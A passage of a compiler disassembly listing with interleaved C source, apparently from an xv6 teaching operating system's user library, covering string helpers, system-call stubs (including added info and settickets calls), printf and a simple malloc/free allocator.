mov %ebx,%ecx 1d5: 75 0d jne 1e4 <strchr+0x24> 1d7: eb 17 jmp 1f0 <strchr+0x30> 1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1e0: 38 ca cmp %cl,%dl 1e2: 74 0c je 1f0 <strchr+0x30> for(; *s; s++) 1e4: 83 c0 01 add $0x1,%eax 1e7: 0f b6 10 movzbl (%eax),%edx 1ea: 84 d2 test %dl,%dl 1ec: 75 f2 jne 1e0 <strchr+0x20> return (char*)s; return 0; 1ee: 31 c0 xor %eax,%eax } 1f0: 5b pop %ebx 1f1: 5d pop %ebp 1f2: c3 ret 1f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000200 <gets>: char* gets(char *buf, int max) { 200: 55 push %ebp 201: 89 e5 mov %esp,%ebp 203: 57 push %edi 204: 56 push %esi 205: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 206: 31 f6 xor %esi,%esi 208: 89 f3 mov %esi,%ebx { 20a: 83 ec 1c sub $0x1c,%esp 20d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 210: eb 2f jmp 241 <gets+0x41> 212: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 218: 8d 45 e7 lea -0x19(%ebp),%eax 21b: 83 ec 04 sub $0x4,%esp 21e: 6a 01 push $0x1 220: 50 push %eax 221: 6a 00 push $0x0 223: e8 32 01 00 00 call 35a <read> if(cc < 1) 228: 83 c4 10 add $0x10,%esp 22b: 85 c0 test %eax,%eax 22d: 7e 1c jle 24b <gets+0x4b> break; buf[i++] = c; 22f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 233: 83 c7 01 add $0x1,%edi 236: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 239: 3c 0a cmp $0xa,%al 23b: 74 23 je 260 <gets+0x60> 23d: 3c 0d cmp $0xd,%al 23f: 74 1f je 260 <gets+0x60> for(i=0; i+1 < max; ){ 241: 83 c3 01 add $0x1,%ebx 244: 3b 5d 0c cmp 0xc(%ebp),%ebx 247: 89 fe mov %edi,%esi 249: 7c cd jl 218 <gets+0x18> 24b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 24d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 250: c6 03 00 movb $0x0,(%ebx) } 253: 8d 65 f4 lea -0xc(%ebp),%esp 256: 5b pop %ebx 257: 5e pop %esi 258: 5f pop %edi 259: 5d pop %ebp 25a: c3 ret 25b: 90 nop 25c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 260: 8b 75 08 mov 0x8(%ebp),%esi 263: 8b 45 08 mov 0x8(%ebp),%eax 266: 01 de add %ebx,%esi 268: 89 f3 mov %esi,%ebx buf[i] = '\0'; 26a: c6 03 00 movb $0x0,(%ebx) } 26d: 8d 65 f4 lea -0xc(%ebp),%esp 270: 5b pop %ebx 271: 5e pop %esi 272: 5f pop %edi 273: 5d pop %ebp 274: c3 ret 275: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000280 <stat>: int stat(const char *n, struct stat *st) { 280: 55 push %ebp 281: 89 e5 mov %esp,%ebp 283: 56 push %esi 284: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 285: 83 ec 08 sub $0x8,%esp 288: 6a 00 push $0x0 28a: ff 75 08 pushl 0x8(%ebp) 28d: e8 f0 00 00 00 call 382 <open> if(fd < 0) 292: 83 c4 10 add $0x10,%esp 295: 85 c0 test %eax,%eax 297: 78 27 js 2c0 <stat+0x40> return -1; r = fstat(fd, st); 299: 83 ec 08 sub $0x8,%esp 29c: ff 75 0c pushl 0xc(%ebp) 29f: 89 c3 mov %eax,%ebx 2a1: 50 push %eax 2a2: e8 f3 00 00 00 call 39a <fstat> close(fd); 2a7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2aa: 89 c6 mov %eax,%esi close(fd); 2ac: e8 b9 00 00 00 call 36a <close> return r; 2b1: 83 c4 10 add $0x10,%esp } 2b4: 8d 65 f8 lea -0x8(%ebp),%esp 2b7: 89 f0 mov %esi,%eax 2b9: 5b pop %ebx 2ba: 5e pop %esi 2bb: 5d pop %ebp 2bc: c3 ret 2bd: 8d 76 00 lea 0x0(%esi),%esi return -1; 2c0: be ff ff ff ff mov $0xffffffff,%esi 2c5: eb ed jmp 2b4 <stat+0x34> 2c7: 89 f6 mov %esi,%esi 2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002d0 <atoi>: int atoi(const char *s) { 2d0: 55 push %ebp 2d1: 89 e5 mov %esp,%ebp 2d3: 53 push %ebx 2d4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2d7: 0f be 11 movsbl (%ecx),%edx 2da: 8d 42 d0 lea -0x30(%edx),%eax 2dd: 3c 09 cmp $0x9,%al n = 0; 2df: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 2e4: 77 1f ja 305 <atoi+0x35> 2e6: 8d 76 00 lea 0x0(%esi),%esi 2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 2f0: 8d 04 80 lea (%eax,%eax,4),%eax 2f3: 83 c1 01 add $0x1,%ecx 2f6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 2fa: 0f be 11 movsbl (%ecx),%edx 2fd: 8d 5a d0 lea -0x30(%edx),%ebx 300: 80 fb 09 cmp $0x9,%bl 303: 76 eb jbe 2f0 <atoi+0x20> return n; } 305: 5b pop %ebx 306: 5d pop %ebp 307: c3 ret 308: 90 nop 309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000310 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 310: 55 push %ebp 311: 89 e5 mov %esp,%ebp 313: 56 push %esi 314: 53 push %ebx 315: 8b 5d 10 mov 0x10(%ebp),%ebx 318: 8b 45 08 mov 0x8(%ebp),%eax 31b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 31e: 85 db test %ebx,%ebx 320: 7e 14 jle 336 <memmove+0x26> 322: 31 d2 xor %edx,%edx 324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 328: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 32c: 88 0c 10 mov %cl,(%eax,%edx,1) 32f: 83 c2 01 add $0x1,%edx while(n-- > 0) 332: 39 d3 cmp %edx,%ebx 334: 75 f2 jne 328 <memmove+0x18> return vdst; } 336: 5b pop %ebx 337: 5e pop %esi 338: 5d pop %ebp 339: c3 ret 0000033a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 33a: b8 01 00 00 00 mov $0x1,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <exit>: SYSCALL(exit) 342: b8 02 00 00 00 mov $0x2,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <wait>: SYSCALL(wait) 34a: b8 03 00 00 00 mov $0x3,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <pipe>: SYSCALL(pipe) 352: b8 04 00 00 00 mov $0x4,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <read>: SYSCALL(read) 35a: b8 05 00 00 00 mov $0x5,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <write>: SYSCALL(write) 362: b8 10 00 00 00 mov $0x10,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <close>: SYSCALL(close) 36a: b8 15 00 00 00 mov $0x15,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <kill>: SYSCALL(kill) 372: b8 06 00 00 00 mov $0x6,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <exec>: SYSCALL(exec) 37a: b8 07 00 00 00 mov $0x7,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <open>: SYSCALL(open) 382: b8 0f 00 00 00 mov $0xf,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <mknod>: SYSCALL(mknod) 38a: b8 11 00 00 00 mov $0x11,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <unlink>: SYSCALL(unlink) 392: b8 12 00 00 00 mov $0x12,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <fstat>: SYSCALL(fstat) 39a: b8 08 00 00 00 mov $0x8,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <link>: SYSCALL(link) 3a2: b8 13 00 00 00 mov $0x13,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <mkdir>: SYSCALL(mkdir) 3aa: b8 14 00 00 00 mov $0x14,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <chdir>: SYSCALL(chdir) 3b2: b8 09 00 00 00 mov $0x9,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <dup>: SYSCALL(dup) 3ba: b8 0a 00 00 00 mov $0xa,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <getpid>: SYSCALL(getpid) 3c2: b8 0b 00 00 00 mov $0xb,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <sbrk>: SYSCALL(sbrk) 3ca: b8 0c 00 00 00 mov $0xc,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <sleep>: SYSCALL(sleep) 3d2: b8 0d 00 00 00 mov $0xd,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <uptime>: SYSCALL(uptime) 3da: b8 0e 00 00 00 mov $0xe,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <info>: SYSCALL(info) 3e2: b8 16 00 00 00 mov $0x16,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <settickets>: SYSCALL(settickets) 3ea: b8 17 00 00 00 mov $0x17,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 3f2: 66 90 xchg %ax,%ax 3f4: 66 90 xchg %ax,%ax 3f6: 66 90 xchg %ax,%ax 3f8: 66 90 xchg %ax,%ax 3fa: 66 90 xchg %ax,%ax 3fc: 66 90 xchg %ax,%ax 3fe: 66 90 xchg %ax,%ax 00000400 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 57 push %edi 404: 56 push %esi 405: 53 push %ebx 406: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 409: 85 d2 test %edx,%edx { 40b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 40e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 410: 79 76 jns 488 <printint+0x88> 412: f6 45 08 01 testb $0x1,0x8(%ebp) 416: 74 70 je 488 <printint+0x88> x = -xx; 418: f7 d8 neg %eax neg = 1; 41a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 421: 31 f6 xor %esi,%esi 423: 8d 5d d7 lea -0x29(%ebp),%ebx 426: eb 0a jmp 432 <printint+0x32> 428: 90 nop 429: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 430: 89 fe mov %edi,%esi 432: 31 d2 xor %edx,%edx 434: 8d 7e 01 lea 0x1(%esi),%edi 437: f7 f1 div %ecx 439: 0f b6 92 50 08 00 00 movzbl 0x850(%edx),%edx }while((x /= base) != 0); 440: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 442: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 445: 75 e9 jne 430 <printint+0x30> if(neg) 447: 8b 45 c4 mov -0x3c(%ebp),%eax 44a: 85 c0 test %eax,%eax 44c: 74 08 je 456 <printint+0x56> buf[i++] = '-'; 44e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 453: 8d 7e 02 lea 0x2(%esi),%edi 456: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 45a: 8b 7d c0 mov -0x40(%ebp),%edi 45d: 8d 76 00 lea 0x0(%esi),%esi 460: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 463: 83 ec 04 sub $0x4,%esp 466: 83 ee 01 sub $0x1,%esi 469: 6a 01 push $0x1 46b: 53 push %ebx 46c: 57 push %edi 46d: 88 45 d7 mov %al,-0x29(%ebp) 470: e8 ed fe ff ff call 362 <write> while(--i >= 0) 475: 83 c4 10 add $0x10,%esp 478: 39 de cmp %ebx,%esi 47a: 75 e4 jne 460 <printint+0x60> putc(fd, buf[i]); } 47c: 8d 65 f4 lea -0xc(%ebp),%esp 47f: 5b pop %ebx 480: 5e pop %esi 481: 5f pop %edi 482: 5d pop %ebp 483: c3 ret 484: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 488: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 48f: eb 90 jmp 421 <printint+0x21> 491: eb 0d jmp 4a0 <printf> 493: 90 nop 494: 90 nop 495: 90 nop 496: 90 nop 497: 90 nop 498: 90 nop 499: 90 nop 49a: 90 nop 49b: 90 nop 49c: 90 nop 49d: 90 nop 49e: 90 nop 49f: 90 nop 000004a0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi 4a5: 53 push %ebx 4a6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4a9: 8b 75 0c mov 0xc(%ebp),%esi 4ac: 0f b6 1e movzbl (%esi),%ebx 4af: 84 db test %bl,%bl 4b1: 0f 84 b3 00 00 00 je 56a <printf+0xca> ap = (uint*)(void*)&fmt + 1; 4b7: 8d 45 10 lea 0x10(%ebp),%eax 4ba: 83 c6 01 add $0x1,%esi state = 0; 4bd: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 4bf: 89 45 d4 mov %eax,-0x2c(%ebp) 4c2: eb 2f jmp 4f3 <printf+0x53> 4c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4c8: 83 f8 25 cmp $0x25,%eax 4cb: 0f 84 a7 00 00 00 je 578 <printf+0xd8> write(fd, &c, 1); 4d1: 8d 45 e2 lea -0x1e(%ebp),%eax 4d4: 83 ec 04 sub $0x4,%esp 4d7: 88 5d e2 mov %bl,-0x1e(%ebp) 4da: 6a 01 push $0x1 4dc: 50 push %eax 4dd: ff 75 08 pushl 0x8(%ebp) 4e0: e8 7d fe ff ff call 362 <write> 4e5: 83 c4 10 add $0x10,%esp 4e8: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 4eb: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4ef: 84 db test %bl,%bl 4f1: 74 77 je 56a <printf+0xca> if(state == 0){ 4f3: 85 ff test %edi,%edi c = fmt[i] & 0xff; 4f5: 0f be cb movsbl %bl,%ecx 4f8: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 4fb: 74 cb je 4c8 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4fd: 83 ff 25 cmp $0x25,%edi 500: 75 e6 jne 4e8 <printf+0x48> if(c == 'd'){ 502: 83 f8 64 cmp $0x64,%eax 505: 0f 84 05 01 00 00 je 610 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 50b: 81 e1 f7 00 00 00 and $0xf7,%ecx 511: 83 f9 70 cmp $0x70,%ecx 514: 74 72 je 588 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 516: 83 f8 73 cmp $0x73,%eax 519: 0f 84 99 00 00 00 je 5b8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 51f: 83 f8 63 cmp $0x63,%eax 522: 0f 84 08 01 00 00 je 630 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 528: 83 f8 25 cmp $0x25,%eax 52b: 0f 84 ef 00 00 00 je 620 <printf+0x180> write(fd, &c, 1); 531: 8d 45 e7 lea -0x19(%ebp),%eax 534: 83 ec 04 sub $0x4,%esp 537: c6 45 e7 25 movb $0x25,-0x19(%ebp) 53b: 6a 01 push $0x1 53d: 50 push %eax 53e: ff 75 08 pushl 0x8(%ebp) 541: e8 1c fe ff ff call 362 <write> 546: 83 c4 0c add $0xc,%esp 549: 8d 45 e6 lea -0x1a(%ebp),%eax 54c: 88 5d e6 mov %bl,-0x1a(%ebp) 54f: 6a 01 push $0x1 551: 50 push %eax 552: ff 75 08 pushl 0x8(%ebp) 555: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 558: 31 ff xor %edi,%edi write(fd, &c, 1); 55a: e8 03 fe ff ff call 362 <write> for(i = 0; fmt[i]; i++){ 55f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 563: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 566: 84 db test %bl,%bl 568: 75 89 jne 4f3 <printf+0x53> } } } 56a: 8d 65 f4 lea -0xc(%ebp),%esp 56d: 5b pop %ebx 56e: 5e pop %esi 56f: 5f pop %edi 570: 5d pop %ebp 571: c3 ret 572: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 578: bf 25 00 00 00 mov $0x25,%edi 57d: e9 66 ff ff ff jmp 4e8 <printf+0x48> 582: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 588: 83 ec 0c sub $0xc,%esp 58b: b9 10 00 00 00 mov $0x10,%ecx 590: 6a 00 push $0x0 592: 8b 7d d4 mov -0x2c(%ebp),%edi 595: 8b 45 08 mov 0x8(%ebp),%eax 598: 8b 17 mov (%edi),%edx 59a: e8 61 fe ff ff call 400 <printint> ap++; 59f: 89 f8 mov %edi,%eax 5a1: 83 c4 10 add $0x10,%esp state = 0; 5a4: 31 ff xor %edi,%edi ap++; 5a6: 83 c0 04 add $0x4,%eax 5a9: 89 45 d4 mov %eax,-0x2c(%ebp) 5ac: e9 37 ff ff ff jmp 4e8 <printf+0x48> 5b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 5b8: 8b 45 d4 mov -0x2c(%ebp),%eax 5bb: 8b 08 mov (%eax),%ecx ap++; 5bd: 83 c0 04 add $0x4,%eax 5c0: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 5c3: 85 c9 test %ecx,%ecx 5c5: 0f 84 8e 00 00 00 je 659 <printf+0x1b9> while(*s != 0){ 5cb: 0f b6 01 movzbl (%ecx),%eax state = 0; 5ce: 31 ff xor %edi,%edi s = (char*)*ap; 5d0: 89 cb mov %ecx,%ebx while(*s != 0){ 5d2: 84 c0 test %al,%al 5d4: 0f 84 0e ff ff ff je 4e8 <printf+0x48> 5da: 89 75 d0 mov %esi,-0x30(%ebp) 5dd: 89 de mov %ebx,%esi 5df: 8b 5d 08 mov 0x8(%ebp),%ebx 5e2: 8d 7d e3 lea -0x1d(%ebp),%edi 5e5: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 5e8: 83 ec 04 sub $0x4,%esp s++; 5eb: 83 c6 01 add $0x1,%esi 5ee: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 5f1: 6a 01 push $0x1 5f3: 57 push %edi 5f4: 53 push %ebx 5f5: e8 68 fd ff ff call 362 <write> while(*s != 0){ 5fa: 0f b6 06 movzbl (%esi),%eax 5fd: 83 c4 10 add $0x10,%esp 600: 84 c0 test %al,%al 602: 75 e4 jne 5e8 <printf+0x148> 604: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 607: 31 ff xor %edi,%edi 609: e9 da fe ff ff jmp 4e8 <printf+0x48> 60e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 610: 83 ec 0c sub $0xc,%esp 613: b9 0a 00 00 00 mov $0xa,%ecx 618: 6a 01 push $0x1 61a: e9 73 ff ff ff jmp 592 <printf+0xf2> 61f: 90 nop write(fd, &c, 1); 620: 83 ec 04 sub $0x4,%esp 623: 88 5d e5 mov %bl,-0x1b(%ebp) 626: 8d 45 e5 lea -0x1b(%ebp),%eax 629: 6a 01 push $0x1 62b: e9 21 ff ff ff jmp 551 <printf+0xb1> putc(fd, *ap); 630: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 633: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 636: 8b 07 mov (%edi),%eax write(fd, &c, 1); 638: 6a 01 push $0x1 ap++; 63a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 63d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 640: 8d 45 e4 lea -0x1c(%ebp),%eax 643: 50 push %eax 644: ff 75 08 pushl 0x8(%ebp) 647: e8 16 fd ff ff call 362 <write> ap++; 64c: 89 7d d4 mov %edi,-0x2c(%ebp) 64f: 83 c4 10 add $0x10,%esp state = 0; 652: 31 ff xor %edi,%edi 654: e9 8f fe ff ff jmp 4e8 <printf+0x48> s = "(null)"; 659: bb 48 08 00 00 mov $0x848,%ebx while(*s != 0){ 65e: b8 28 00 00 00 mov $0x28,%eax 663: e9 72 ff ff ff jmp 5da <printf+0x13a> 668: 66 90 xchg %ax,%ax 66a: 66 90 xchg %ax,%ax 66c: 66 90 xchg %ax,%ax 66e: 66 90 xchg %ax,%ax 00000670 <free>: static Header base; static Header *freep; void free(void *ap) { 670: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 671: a1 00 0b 00 00 mov 0xb00,%eax { 676: 89 e5 mov %esp,%ebp 678: 57 push %edi 679: 56 push %esi 67a: 53 push %ebx 67b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 67e: 8d 4b f8 lea -0x8(%ebx),%ecx 681: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 688: 39 c8 cmp %ecx,%eax 68a: 8b 10 mov (%eax),%edx 68c: 73 32 jae 6c0 <free+0x50> 68e: 39 d1 cmp %edx,%ecx 690: 72 04 jb 696 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 692: 39 d0 cmp %edx,%eax 694: 72 32 jb 6c8 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 696: 8b 73 fc mov -0x4(%ebx),%esi 699: 8d 3c f1 lea (%ecx,%esi,8),%edi 69c: 39 fa cmp %edi,%edx 69e: 74 30 je 6d0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6a0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6a3: 8b 50 04 mov 0x4(%eax),%edx 6a6: 8d 34 d0 lea (%eax,%edx,8),%esi 6a9: 39 f1 cmp %esi,%ecx 6ab: 74 3a je 6e7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6ad: 89 08 mov %ecx,(%eax) freep = p; 6af: a3 00 0b 00 00 mov %eax,0xb00 } 6b4: 5b pop %ebx 6b5: 5e pop %esi 6b6: 5f pop %edi 6b7: 5d pop %ebp 6b8: c3 ret 6b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c0: 39 d0 cmp %edx,%eax 6c2: 72 04 jb 6c8 <free+0x58> 6c4: 39 d1 cmp %edx,%ecx 6c6: 72 ce jb 696 <free+0x26> { 6c8: 89 d0 mov %edx,%eax 6ca: eb bc jmp 688 <free+0x18> 6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 6d0: 03 72 04 add 0x4(%edx),%esi 6d3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6d6: 8b 10 mov (%eax),%edx 6d8: 8b 12 mov (%edx),%edx 6da: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6dd: 8b 50 04 mov 0x4(%eax),%edx 6e0: 8d 34 d0 lea (%eax,%edx,8),%esi 6e3: 39 f1 cmp %esi,%ecx 6e5: 75 c6 jne 6ad <free+0x3d> p->s.size += bp->s.size; 6e7: 03 53 fc add -0x4(%ebx),%edx freep = p; 6ea: a3 00 0b 00 00 mov %eax,0xb00 p->s.size += bp->s.size; 6ef: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6f2: 8b 53 f8 mov -0x8(%ebx),%edx 6f5: 89 10 mov %edx,(%eax) } 6f7: 5b pop %ebx 6f8: 5e pop %esi 6f9: 5f pop %edi 6fa: 5d pop %ebp 6fb: c3 ret 6fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000700 <malloc>: return freep; } void* malloc(uint nbytes) { 700: 55 push %ebp 701: 89 e5 mov %esp,%ebp 703: 57 push %edi 704: 56 push %esi 705: 53 push %ebx 706: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 709: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 70c: 8b 15 00 0b 00 00 mov 0xb00,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 712: 8d 78 07 lea 0x7(%eax),%edi 715: c1 ef 03 shr $0x3,%edi 718: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 71b: 85 d2 test %edx,%edx 71d: 0f 84 9d 00 00 00 je 7c0 <malloc+0xc0> 723: 8b 02 mov (%edx),%eax 725: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 728: 39 cf cmp %ecx,%edi 72a: 76 6c jbe 798 <malloc+0x98> 72c: 81 ff 00 10 00 00 cmp $0x1000,%edi 732: bb 00 10 00 00 mov $0x1000,%ebx 737: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 73a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 741: eb 0e jmp 751 <malloc+0x51> 743: 90 nop 744: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 748: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 74a: 8b 48 04 mov 0x4(%eax),%ecx 74d: 39 f9 cmp %edi,%ecx 74f: 73 47 jae 798 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 751: 39 05 00 0b 00 00 cmp %eax,0xb00 757: 89 c2 mov %eax,%edx 759: 75 ed jne 748 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 75b: 83 ec 0c sub $0xc,%esp 75e: 56 push %esi 75f: e8 66 fc ff ff call 3ca <sbrk> if(p == (char*)-1) 764: 83 c4 10 add $0x10,%esp 767: 83 f8 ff cmp $0xffffffff,%eax 76a: 74 1c je 788 <malloc+0x88> hp->s.size = nu; 76c: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 76f: 83 ec 0c sub $0xc,%esp 772: 83 c0 08 add $0x8,%eax 775: 50 push %eax 776: e8 f5 fe ff ff call 670 <free> return freep; 77b: 8b 15 00 0b 00 00 mov 0xb00,%edx if((p = morecore(nunits)) == 0) 781: 83 c4 10 add $0x10,%esp 784: 85 d2 test %edx,%edx 786: 75 c0 jne 748 <malloc+0x48> return 0; } } 788: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 78b: 31 c0 xor %eax,%eax } 78d: 5b pop %ebx 78e: 5e pop %esi 78f: 5f pop %edi 790: 5d pop %ebp 791: c3 ret 792: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 798: 39 cf cmp %ecx,%edi 79a: 74 54 je 7f0 <malloc+0xf0> p->s.size -= nunits; 79c: 29 f9 sub %edi,%ecx 79e: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7a1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7a4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 7a7: 89 15 00 0b 00 00 mov %edx,0xb00 } 7ad: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 7b0: 83 c0 08 add $0x8,%eax } 7b3: 5b pop %ebx 7b4: 5e pop %esi 7b5: 5f pop %edi 7b6: 5d pop %ebp 7b7: c3 ret 7b8: 90 nop 7b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 7c0: c7 05 00 0b 00 00 04 movl $0xb04,0xb00 7c7: 0b 00 00 7ca: c7 05 04 0b 00 00 04 movl $0xb04,0xb04 7d1: 0b 00 00 base.s.size = 0; 7d4: b8 04 0b 00 00 mov $0xb04,%eax 7d9: c7 05 08 0b 00 00 00 